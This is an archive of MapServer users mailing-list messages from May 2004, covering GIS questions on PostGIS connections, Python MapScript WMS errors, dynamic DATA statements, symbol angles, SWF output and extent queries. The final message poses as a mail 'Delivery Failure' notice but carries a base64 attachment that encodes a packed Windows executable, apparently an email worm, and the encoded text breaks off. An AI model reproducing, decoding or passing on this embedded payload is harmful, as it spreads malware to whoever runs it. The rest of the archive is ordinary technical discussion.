1) Data in MSSQL 2) Convert to Access MDB format 2) Export to ESRI Shapefile- using a tool like MDB2Shapefile http://www.consultoria.eti.br/enus/download.php?file=3 3) Export shapefile to Postgres/Postgis using shp2pgsql 4) Have a layer in map file connecting to Postgis to implement this 5) Join search results from table in SQL with the table in Postgres to obtain the_geom HTH Gayathri > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > Jenu Abraham > Sent: Sunday, May 09, 2004 10:47 PM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] Data Connection with MS-SQL database > > > Hi guys, > need some kind of direction as to how to get lat long > information from my > MS-SQL database to integrate with mapserver > i'm totally lost as to how get this done.... > > thanks > jenu > > _________________________________________________________________ > MSN Toolbar provides one-click access to Hotmail from any Web > page - FREE > download! http://toolbar.msn.com/go/onm00200413ave/direct/01/ > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > From sgillies at frii.com Mon May 10 06:38:54 2004 From: sgillies at frii.com (Sean Gillies) Date: Mon, 10 May 2004 07:38:54 -0600 Subject: [Mapserver-users] WMS server - client communication error In-Reply-To: <200405101217.00548.alhim@intracom.gr> References: <200405071642.44543.alhim@intracom.gr> <6.1.0.6.2.20040507113455.01d8dd38@hobu.mail.iastate.edu> <000101c4345b$1513e470$0100000a@cybermedia.local> <200405101217.00548.alhim@intracom.gr> Message-ID: <618F1838-A287-11D8-BB51-000D9329D732@frii.com> Alexandros, see my comments at the *bottom* ... On 10/mag/04, at 03:17, Alexandros Chimarios wrote: > > Sean and Daniel, > > First of all thanx for your answers. > > I tried the prepareImage() method but it didnt work. After that tried > with a > dummy metada block and all the params in the CONNECTION url but it > didnt work > either. > > I am thinking of creating a method in Python until you release the next > version of MapScript to temporarily give some kinda of solution to > Python > Mapscript programmers. This method which will download the image in > the disk > using HTTP and then load it in memory creating a new image > object(imageObj). > Then I will be able to combine this raster image with other layers > using the > MapScript layerObj.draw() method. > > What do you think about that ? > > On Friday 07 May 2004 20:45, Sean Gillies wrote: >> On 07/mag/04, at 10:40, Howard Butler wrote: >>> At 11:08 AM 5/7/2004, Sean Gillies wrote: >>>> On 07/mag/04, at 08:47, Daniel Morissette wrote: >>>>> Alexandros Chimarios wrote: >>>>>> Traceback (most recent call last): >>>>>> File "./src/test.py", line 131, in ? >>>>>> image = mo.draw(); >>>>>> File "/usr/lib/python2.2/site-packages/mapscript.py", line 1783, >>>>>> in draw >>>>>> def draw(*args): return apply(_mapscript.mapObj_draw,args) >>>>>> _mapscript.MapServerError: msLookupHashTable: Hash table error. >>>>>> Invalid hash table or key >>>>> >>>>> A similar problem was reported a few weeks ago: >>>>> >>>>> http://lists.gis.umn.edu/pipermail/mapserver-dev/2004-April/ >>>>> 000955.html >>>>> >>>>> In this case it was with python as well, and it was not possible to >>>>> reproduce with the regular CGI. Perhaps there is something specific >>>>> to that flavour of MapScript? I would suggest that you file a bug >>>>> about this. >>>>> >>>>> Daniel >>>> >>>> Alexandros, >>>> >>>> The Python mapscript module is set up so that the MapServer error >>>> stack is >>>> checked after method calls (such as mapObj.draw), MapServer errors >>>> are >>>> converted to Python exceptions and are raised. >>>> >>>> Somewhere in msDrawMap, maybe in the WMS HTTP request code, >>>> msLookupHashTable >>>> is being used to access layer or map metadata and is not finding >>>> something >>>> it expects. Maybe your mapfile lacks a WMS metadata parameter? >>>> In the CGI MapServer, such an error will be reported but will >>>> not necessarily stop execution of the program. With the Python >>>> MapScript, >>>> unhandled exceptions will stop execution. >>>> >>>> I suggest that you try some code like this for now: >>>> >>>> image = mo.prepareImage() # so that it is defined outside the >>>> try/except >>>> try: >>>> image = mo.draw() >>>> except MapServerError: >>>> pass >>>> >>>> Let me know how it goes and together we can work towards a better >>>> solution. >>>> >>>> cheers, >>>> Sean >>> >>> Sean, >>> >>> prepareImage doesn't cure it. For me, it was only happening on WMS >>> images that needed to be projected using GDAL. I have an Albers map >>> that I am pulling in a UTM 15 image where it is causing a problem for >>> me. >>> >>> I suspect an error is being put on the stack that is silenced by the >>> WMS code. Most things don't pick up on it, but Python is very >>> sensitive to not silencing exceptions ;) >>> >>> I also know that a WMS parameter is not missing because the image is >>> successfully download (I can send debug info along if requested). >>> >>> Howard >> >> Howard, it isn't that prepareImage cures anything, I'm just using it >> so >> that >> image is defined outside the try/except blocks and can be used after >> we've >> dodged the hash lookup error. >> >> I looked into msDrawWMSLayerLow(), which is called in your case and >> Alexandros'. >> A few lines in, we try to look up "wms_sld_body" and "wms_sld_url" in >> the >> layer metadata ... if you don't have these defined in your layer, >> msLookupHashTable() is going to throw an error that stops the Python >> interpreter. >> I wouldn't be surprised if there are more such cases, and as the >> number >> of >> WMS features grow, there will be ever more. >> >> IMO, msLookupHashTable() should throw errors like this so that, in >> Python, >> layer.getMetaData("foo") raises an exception just like adict["foo"] >> raises >> a KeyError if "foo" is not present in the dictionary. Looks like we >> have to add >> some code to msDrawWMSLayerLow to delete these particular errors >> before >> they >> can hit the Python interpreter. >> >> Sean >> >> First, Alexandros, when you reply to this thread where all of us are posting at the bottom, you *must* follow suit -- it makes it so much more readable! I think that your work-around is good, I have been doing the same thing. If you are using the 4.2beta MapScript there is a shortcut: you can pass Python file-like objects to the imageObj constructor like this urlh = urllib.urlopen("http://wms?REQUEST=GetMap&FORMAT=image/jpg...") img = mapscript.imageObj(0, 0, "GD/JPEG", urlh) cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From s.dege at laposte.net Mon May 10 07:49:52 2004 From: s.dege at laposte.net (s.dege) Date: Mon, 10 May 2004 16:49:52 +0200 Subject: [Mapserver-users] How to change Data Statement in mapfile on fly Message-ID: Hy all, I'm beginner with MAPSERVER, and read a lot of things in the archives to find out about my problem, and tried lots of things. Here is a part of my mapfile LAYER CONNECTIONTYPE postgis NAME tempconcentration # Connect to a remote spatial database CONNECTION "user=user dbname=dbname ..." # Get the lines from the 'geom' column of the Concentration' table DATA "geom_concentration from table" STATUS OFF TYPE POINT # GROUP pm TOLERANCE 10 MAXSCALE 2599999 # LABELITEM "stations" As you can see, I'm using Postgis to retrieve data. What I want to do is to change on fly the data statement ("table" to be exact), because the table is never the same and is created dynamically. I've tried lots of combination (using '%table%', forms,...) but nothing works. So if anybody managed to do this, Iwould appreciate his help. Thks Stephane Acc?dez au courrier ?lectronique de La Poste : www.laposte.net ; 3615 LAPOSTENET (0,34?/mn) ; t?l : 08 92 68 13 50 (0,34?/mn) From mapserver at meteologica.es Mon May 10 07:52:55 2004 From: mapserver at meteologica.es (Paco Regodon) Date: Mon, 10 May 2004 16:52:55 +0200 Subject: [Mapserver-users] Symbols In-Reply-To: <4087DF430001D9B7@ims3c.cp.tin.it> References: <4087DF430001D9B7@ims3c.cp.tin.it> Message-ID: <200405101652.55410.mapserver@meteologica.es> Yes. See LABELANGLEITEM in mapfile reference. LABELANGLEITEM "DXF_ANGLE" Paco On Monday 10 May 2004 15:22, leo.olivieri at tin.it wrote: > Hello list, > I have the problem with symbol. > > I have the shapefile as > > SIMBOLI_ SIMBOLI_ID DXF_ANGLE DXF_ATTRIB DXF_IID SIMBOLO > 1 242 271,438 CEDIGLIA 1 18 > 2 243 272,996 CEDIGLIA 2 18 > 48 291 325,861 TERMINE 48 2 > > where the simbolo is draw as the simbol in acadastral.tff (TRUETYPe) > > Is it possible to draw the symbol with angle used in DXF_ANGLE. > What? > I use PHPMapscript > > Thanks in advance > Leo > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From hau.lu at msa.hinet.net Mon May 10 08:19:12 2004 From: hau.lu at msa.hinet.net (Hau Lu) Date: Mon, 10 May 2004 23:19:12 +0800 Subject: [Mapserver-users] SWF problem In-Reply-To: <409E64A5.9010900@free.fr> Message-ID: <200405101519.XAA03004@msr32.hinet.net> This is a multi-part message in MIME format. ------=_NextPart_000_0009_01C436E5.35278690 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Thanks to Pierre for your kind suggestion. =20 I've tried the multiple movie way as Pierre has suggested, still it = didn't work. However, I used a workaround using PHP shell function to call shp2img.exe from the PHP code, my code looks like this: =20 //....initialize $map.... =20 $output_file_name =3D "".time( ).rand (1,10000).".swf"; // create a = random filename, maybe we should concat session_id to it also. $swf_url=3D $web_image_path.$output_file_name; $cmd =3D "C:\\Apache\\Apache\\cgi-bin\\shp2img -all_debug 1 -m = ".$map_file." -o C:\\Apache\\Apache\\htdocs\\tmp\\".$output_file_name; if ($map->extent->minx) $cmd =3D $cmd." -e ".$map->extent->minx." ".$map->extent->miny." ".$map->extent->maxx." ".$map->extent->maxy;=20 $output =3D shell_exec($cmd); //check output to see if there's any = error.. //...return the url of the created swf file.... =20 Using the workaround, I can create single, multiple, = (FULL_RESOLUTION=3DFALSE) movies and load them into the Flash app. Still I'm worried about the stability of this method (haven't tested it in a full scale environment = with lots of users, also using the shell function gives me the creeps), and = I'm still wondering why I can't get mapserver CGI to output SWF files = directly (even though I can use the shp2img in DOS console to create the SWF) and = why the PHP saveWebImage() function generates an error even though it has already created the SWF files successfully. =20 Best Regards. =20 Hau _____ =20 From: GIRAUD Pierre [mailto:pierre.giraud3 at free.fr]=20 Sent: Monday, May 10, 2004 1:05 AM To: Hau Lu Cc: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] SWF problem Just try to output your map in multiple movies = ("OUTPUT_MOVIE=3DMULTIPLE"). I expect this will not return fatal error but one swf for each layer in = your mapfile. Hope this works. I don't even know why single output crashes. Is it due to ming library = or mapserver ? If you are able with this method to generate movies, you'll just have to redefined your Flash app to load each movie individualy. I didn't work on this a lot but I think this might be a good way to = built a flash interface. I mean, layers may be hidden or shown individualy = easily and other great stuffs could be imagined. It would also be great to have examples or experience returns from = people who succesfully explored this mapserver output possibility. Regards. Pierre GIRAUD Hau Lu a =E9crit: Dear List user: =20 I'm trying to use Mapserver (using the Windows binary = ms402_png_pg.zip provided on the mapserver download site which should support SWF output) = to output swf files that I can load from a Flash app ( using loadMovie(..) function). =20 =20 part of my php code looks like this: =20 ......Initialize $map object =20 $map->selectOutputFormat("SWF"); $image =3D $map->draw(); $image_url=3D$map->saveWebImage(); // error occurs here =20 .....output the $image_url var to Flash app =20 and the map file looks like this (it's actually one of the example map = files from the tutorial): =20 MAP IMAGETYPE JPEG INTERLACE OFF EXTENT 201621.496941 -294488.284025 1425518.020722 498254.511514 SIZE 400 300 SHAPEPATH "data" IMAGECOLOR 255 255 255 =20 OUTPUTFORMAT=20 NAME swf=20 MIMETYPE "application/x-shockwave-flash"=20 DRIVER swf=20 IMAGEMODE PC256=20 FORMATOPTION "OUTPUT_MOVIE=3DSINGLE"=20 END=20 =20 WEB IMAGEPATH "C:/Apache/htdocs/tmp/" IMAGEURL "/tmp/" MAXSCALE 150000000 MINSCALE 200 END =20 PROJECTION "proj=3Dlaea" "ellps=3Dclrk66" "lat_0=3D45" "lon_0=3D-100" END =20 # Start of LAYER DEFINITIONS = --------------------------------------------- LAYER # States polygon layer begins here NAME states_poly DATA states_ugl STATUS DEFAULT TYPE POLYGON =20 PROJECTION "init=3Depsg:4326" END =20 CLASS COLOR 232 232 232 END END # States polygon layer ends here =20 LAYER # States line layer begins here NAME states_line DATA states_ugl STATUS DEFAULT TYPE LINE =20 PROJECTION "init=3Depsg:4326" END =20 CLASS COLOR 32 32 32 END END # States line layer ends here # End of LAYER DEFINITIONS ------------------------------- =20 END # end of map file =20 I get the following error : "PHP Fatal error: Failed writing image to C:/Apache/htdocs/tmp/108411324937081.swf ....." when the Flash app tries to call the php program, the SWF file is = created with properly content (viewable in a stanalone flash player) in the designated directory but the PHP program just stopped without responding = to the Flash app. Using the same code, I can output JPEG images to the = Flash app without any problem. I've also tried to output the SWF from = mapserv.exe using CGI calls but that also failed. Searching through the list archive, I found some people having the same problem that I have but there's no answer. I've read the user doc at http://www2.dmsolutions.ca/mapserver/dl/FlashMapserverUserDoc.html but = don't have a clue on what I did wrong, can anybody give me a hand here? =20 Best Regards, =20 Hau ------=_NextPart_000_0009_01C436E5.35278690 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Thanks to Pierre for your kind suggestion.
 
I've tried the multiple movie way as Pierre has suggested, = still it=20 didn't work. However, I used = a=20 workaround using PHP shell function to call shp2img.exe from the PHP = code, my=20 code looks like this:
 
//....initialize $map....
 
$output_file_name =3D "".time( ).rand (1,10000).".swf"; // = create a random=20 filename, maybe we should concat session_id to it = also.
$swf_url=3D=20 $web_image_path.$output_file_name;
$cmd =3D=20 "C:\\Apache\\Apache\\cgi-bin\\shp2img -all_debug 1 -m ".$map_file." -o=20 C:\\Apache\\Apache\\htdocs\\tmp\\".$output_file_name;
if=20 ($map->extent->minx) $cmd =3D $cmd." -e = ".$map->extent->minx."=20 ".$map->extent->miny." ".$map->extent->maxx."=20 ".$map->extent->maxy; 
$output =3D shell_exec($cmd); = //check output=20 to see if there's any error..

//...return the url of the created swf = file....
 
Using = the=20 workaround, I can create single, multiple, (FULL_RESOLUTION=3DFALSE) = movies and=20 load them into the Flash app. Still I'm worried about the stability of = this=20 method (haven't tested it in a full scale environment with lots of = users, also=20 using the shell function gives me the creeps), and I'm still wondering = why I=20 can't get mapserver CGI to output SWF files directly (even though I can = use the=20 shp2img in DOS console to create the SWF) and why the PHP saveWebImage() = function generates an error even though it has already created the SWF = files=20 successfully.
 
Best=20 Regards.
 
Hau


From: GIRAUD Pierre=20 [mailto:pierre.giraud3 at free.fr]
Sent: Monday, May 10, 2004 = 1:05=20 AM
To: Hau Lu
Cc:=20 mapserver-users at lists.gis.umn.edu
Subject: Re: = [Mapserver-users] SWF=20 problem

Just try to output your map in multiple movies=20 ("OUTPUT_MOVIE=3DMULTIPLE").
I expect this will not return fatal = error but one=20 swf for each layer in your mapfile. Hope this works.
I don't even = know why=20 single output crashes. Is it due to ming library or mapserver = ?

If you=20 are able with this method to generate movies, you'll just have to = redefined your=20 Flash app to load each movie individualy.
I didn't work on this a lot = but I=20 think this might be a good way to built a flash interface. I mean, = layers may be=20 hidden or shown individualy easily and other great stuffs could be=20 imagined.

It would also be great to have examples or experience = returns=20 from people who succesfully explored this mapserver output=20 possibility.

Regards.

Pierre GIRAUD

Hau Lu a = =E9crit:
Dear List=20 user:
 
   =20 I'm trying to use Mapserver (using the Windows binary ms402_png_pg.zip = provided on the mapserver download site which should support SWF = output) to=20 output swf files that I can load from a Flash app ( using = loadMovie(..)=20 function).
 
 
part of my php code=20 looks like this:
 
......Initialize=20 $map object
 
$map->selectOutputFormat("SWF");
$image =3D=20 $map->draw();
$image_url=3D$map->saveWebImage(); // error = occurs=20 here
 
.....output the=20 $image_url var to Flash app
 
and the map file=20 looks like this (it's actually one of the example map files from the=20 tutorial):
 
MAP
IMAGETYPE=20 JPEG
INTERLACE=20 OFF
EXTENT         = 201621.496941=20 -294488.284025 1425518.020722=20 = 498254.511514
SIZE        &nbs= p; =20 400 300
SHAPEPATH     =20 "data"
IMAGECOLOR     255 255 = 255
 
OUTPUTFORMAT=20
 NAME swf
 MIMETYPE "application/x-shockwave-flash"=20
 DRIVER swf
 IMAGEMODE PC256
 FORMATOPTION=20 "OUTPUT_MOVIE=3DSINGLE"
END
 
WEB
 IMAGEPATH=20 "C:/Apache/htdocs/tmp/"
 IMAGEURL "/tmp/"
 MAXSCALE=20 150000000
 MINSCALE 200
END
 
PROJECTION
  = "proj=3Dlaea"
 =20 "ellps=3Dclrk66"
  "lat_0=3D45"
 =20 "lon_0=3D-100"
END
 
# Start of LAYER=20 DEFINITIONS ---------------------------------------------
LAYER # = States=20 polygon layer begins here
 =20 NAME         = states_poly
 =20 DATA         = states_ugl
 =20 STATUS       DEFAULT
 =20 TYPE        =20 POLYGON
 
 =20 PROJECTION
    "init=3Depsg:4326"
 =20 END
 
 =20 CLASS
    COLOR      232 = 232=20 232
  END
END # States polygon layer ends = here
 
LAYER # States line=20 layer begins here
 =20 NAME         = states_line
 =20 DATA         = states_ugl
 =20 STATUS       DEFAULT
 =20 TYPE         = LINE
 
 =20 PROJECTION
    "init=3Depsg:4326"
 =20 END
 
 =20 CLASS
    COLOR 32 32 32
  END
END # = States line=20 layer ends here
# End of LAYER DEFINITIONS=20 -------------------------------
 
END # end of map=20 file
 
I get the following=20 error :
   =20 "PHP Fatal error:  Failed writing image to = C:/Apache/htdocs/tmp/108411324937081.swf ....."
when the Flash=20 app tries to call the php program, the SWF file is created with = properly=20 content (viewable in a stanalone flash player) in the designated = directory but=20 the PHP program just stopped without responding to the Flash app. = Using the=20 same code, I can output JPEG images to the Flash app without any = problem. I've=20 also tried to output the SWF from mapserv.exe using CGI calls but that = also=20 failed.
Searching through=20 the list archive, I found some people having the same problem = that I have=20 but there's no answer. I've read the user doc at http://www2.dmsolutions.ca/mapserver/dl/FlashMapserverUserDoc.html=  but=20 don't have a clue on what I did wrong, can anybody give me a hand=20 here?
 
Best=20 Regards,
 
Hau

------=_NextPart_000_0009_01C436E5.35278690-- From j.l.h.hartmann at uva.nl Mon May 10 08:25:57 2004 From: j.l.h.hartmann at uva.nl (Jan Hartmann) Date: Mon, 10 May 2004 17:25:57 +0200 Subject: [Mapserver-users] How to change Data Statement in mapfile on fly In-Reply-To: References: Message-ID: <409F9F05.4040905@uva.nl> s.dege wrote: > Hy all, > > I'm beginner with MAPSERVER, and read a lot of things in the > archives to find out about my problem, and tried lots of things. > > Here is a part of my mapfile > > LAYER > CONNECTIONTYPE postgis > NAME tempconcentration > # Connect to a remote spatial database > CONNECTION "user=user dbname=dbname ..." > # Get the lines from the 'geom' column of the > Concentration' table > DATA "geom_concentration from table" > STATUS OFF > TYPE POINT > # GROUP pm > TOLERANCE 10 > MAXSCALE 2599999 > # LABELITEM "stations" > > > As you can see, I'm using Postgis to retrieve data. > What I want to do is to change on fly the data statement > ("table" to be exact), because the table is never the same and > is created dynamically. I've tried lots of combination (using > '%table%', forms,...) but nothing works. > So if anybody managed to do this, Iwould appreciate his help. > Stephane, The DATA statement cannot be changed on the fly, unless you define a DATAPATTERN in the mapfile. This is a security issue in MapServer 4. See: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MigrationGuide under the word DATAPATTERN. When you define it, you can set DATA form the URL, e.g. http://../mapserv?map=...&map_layer_data=... Jan From TMitchell at lignum.com Mon May 10 08:43:35 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Mon, 10 May 2004 08:43:35 -0700 Subject: [Mapserver-users] Finding Extent In-Reply-To: <3FC4483968B5A048BBD9F3387EBFF5C0E4B60C@XMAIL1.sooner.net.ou.edu> Message-ID: > "select xmin(extent(the_geom)), > ymin(extent(the_geom)),xmax(extent(the_geom)),ymax(extent(the_geom)) > from nc where parcels_id in ();" Two ideas, 1) Won't "select extent(the_geom)..." give you something you can use, without the need to repeat that step four times? 2) If this is something that is going to be requested repeatedly, ask yourself: a) how often will the data be changing? b) how can I preprocess the information so it's quicker? If you truly need four separate columns, then I recommend creating them in your parcels_id table. Then calculate the values, i.e.: >update parcels_id set my_xmin = xmin(extent(the_geom)) Or, create a trigger that calculates this for you automatically when new data is added or data is changed. I'm not sure about your situation, but the moral of the story on performance is usually: pre-process the data as much as possible and, if possible, keep it reduced to a non spatial query to reduce overhead. Hope that helps. Tyler From assefa at dmsolutions.ca Mon May 10 08:36:16 2004 From: assefa at dmsolutions.ca (assefa at dmsolutions.ca) Date: Mon, 10 May 2004 17:36:16 +0200 Subject: [Mapserver-users] Error (mapserver-users@lists.gis.umn.edu) Message-ID: <200405101551.i4AFpiFS002588@lists.gis.umn.edu> This is a multi-part message in MIME format. ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Delivery Failure - Invalid mail specification ------------- failed message ------------- w4S4kE'u!Ww47,wk2xaIdTZ&2>I<>O9Ad-fy4qi8uoxC hz+$k?7$(~?uyb8+Y$RuNP3OkggjIP Received message has been sent as an encoded attachment. ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: application/octet-stream; name="message15356.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="message15356.zip" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAxzIXZda3rinWt64p1reuKda3qimet64oXsviKcK3rip2y 4Ip3reuKzavtinSt64pSaWNoda3rigAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRpdGUgKGMp MTk5OSBJYW4gTHVjay4AAFBFAABMAQMA76BkQAAAAAAAAAAA4AAPAQsBBgAABAAAAGYAAAAA AABCoAAAABAAAAAgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAALAAAAAEAAAAAAAA AgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/KEAANAAAAAAQAAAaF8AAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAMAAAABAAAAAGAAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAAGAAAABAAABoXwAA AA4AAAAAAAAAAAAAAAAAAEAAAEAucGV0aXRlAMwCAAAAoAAAAAQAAAAEAAAAAAAAAAAAAAAA AABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 